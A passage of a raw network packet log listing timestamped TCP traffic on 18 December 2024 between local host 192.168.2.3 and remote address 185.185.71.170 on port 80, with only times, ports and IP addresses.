Dec 18, 2024 20:56:43.089601040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.089626074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.090532064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.090568066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.090596914 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.091471910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.091506958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.091531038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.092576981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.092612028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.092622995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.093560934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.093595982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.093605042 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.094458103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.094494104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.094505072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.095693111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.095729113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.095740080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.096520901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.096555948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.096566916 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.097454071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.097495079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.097495079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.098462105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.098495960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.098501921 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.099522114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.099560022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.099564075 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.100475073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.100558043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.100569010 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.101432085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.101469040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.101483107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.102392912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.102428913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.102448940 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.103465080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.103501081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.103528023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.104434967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.104470968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.104490042 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.105479956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.105515003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.105539083 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.106436014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.106471062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.106494904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.107449055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.107485056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.107511044 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.108390093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.108441114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.108447075 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.109469891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.109504938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.109528065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.110398054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.110433102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.110450029 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.111416101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.111452103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.111468077 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.112453938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.112489939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.112509012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.113394976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.113429070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.113440037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.114537954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.114573956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.114578962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.115411043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.115447044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.115497112 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.116333008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.116369963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.116374969 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.117367983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.117403030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.117415905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.118490934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.118526936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.118535042 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.119373083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.119407892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.119420052 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.120343924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.120378017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.120393038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.121356010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.121391058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.121402979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.122303963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.122339964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.122363091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.123387098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.123423100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.123651981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.124322891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.124357939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.124382019 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.125914097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.125953913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.125967026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.126889944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.126926899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.126941919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.127935886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.127971888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.127988100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.129106998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.129141092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.129177094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.129899025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.129935026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.129946947 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.130898952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.130934954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.130944967 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.131896019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.131933928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.131937981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.132899046 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.132942915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.132956982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.133985996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.134021997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.134025097 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.134879112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.134916067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.134943962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.135874987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.135910988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.135930061 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.136862040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.136897087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.136919022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.137859106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.137892962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.137928963 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.138839960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.138875961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.138902903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.139828920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.139878035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.139880896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.140825987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.140880108 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.141323090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.141910076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.141944885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.141959906 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.143142939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.143196106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.143780947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.144840002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.144875050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.144891977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.145384073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.145418882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.145435095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.146811008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.146847010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.146874905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.147739887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.147803068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.148758888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.148794889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.148835897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.149879932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.149916887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.149966002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.150958061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.150993109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.151027918 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.151027918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.152014971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.152050018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.152055025 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.153110981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.153148890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.153157949 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.154000044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.154035091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.154051065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.155078888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.155141115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.156097889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.156132936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.156166077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.156172991 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.157221079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.157272100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.157278061 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.158504009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.158540010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.158556938 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.159529924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.159578085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.160547018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.160903931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.160914898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.160973072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.161982059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.162000895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.162029982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.163057089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.163069963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.163104057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.165265083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.165303946 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.166306973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.166321993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.166371107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.167450905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.168579102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.168590069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.168625116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.201524973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.201631069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.201740026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.202497005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.202533960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.202548027 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.203716993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.203752995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.203785896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.205163956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.205200911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.205235958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.206872940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.206909895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.206933975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.208169937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.208205938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.208231926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.209460974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.209497929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.209517956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.210549116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.210583925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.210618973 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.211807966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.211858034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.211884022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.213068962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.213103056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.213123083 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.214534044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.214570045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.214593887 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.215812922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.215847969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.215857983 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.217243910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.217283964 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.217294931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.218628883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.218663931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.218667984 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.218698025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.218736887 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.220110893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.220149994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.220191002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.221421003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.221457005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.221486092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.221492052 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.238470078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.238629103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.238756895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.238967896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.239007950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.239569902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.240238905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.240252018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.240292072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.241441965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.241455078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.241492033 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.242697001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.242708921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.242753029 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.243943930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.243956089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.244012117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.245194912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.245208979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.245295048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.246617079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.246630907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.246686935 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.247703075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.247719049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.247745037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.249073029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.249087095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.249113083 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.250508070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.250534058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.250561953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.251852989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.251868963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.251913071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.253268957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.253303051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.253312111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.254615068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.254636049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.254647970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.254657030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.254684925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.255997896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.256021976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.256059885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.257425070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.257467031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.257503986 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.259016037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.259036064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.259118080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.260231018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.260245085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.260338068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.261917114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.261930943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.261943102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.261976004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.263077021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.263091087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.263117075 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:43.264275074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:43.264290094 CET	80	49747	185.185.71.170	192.168.2.3
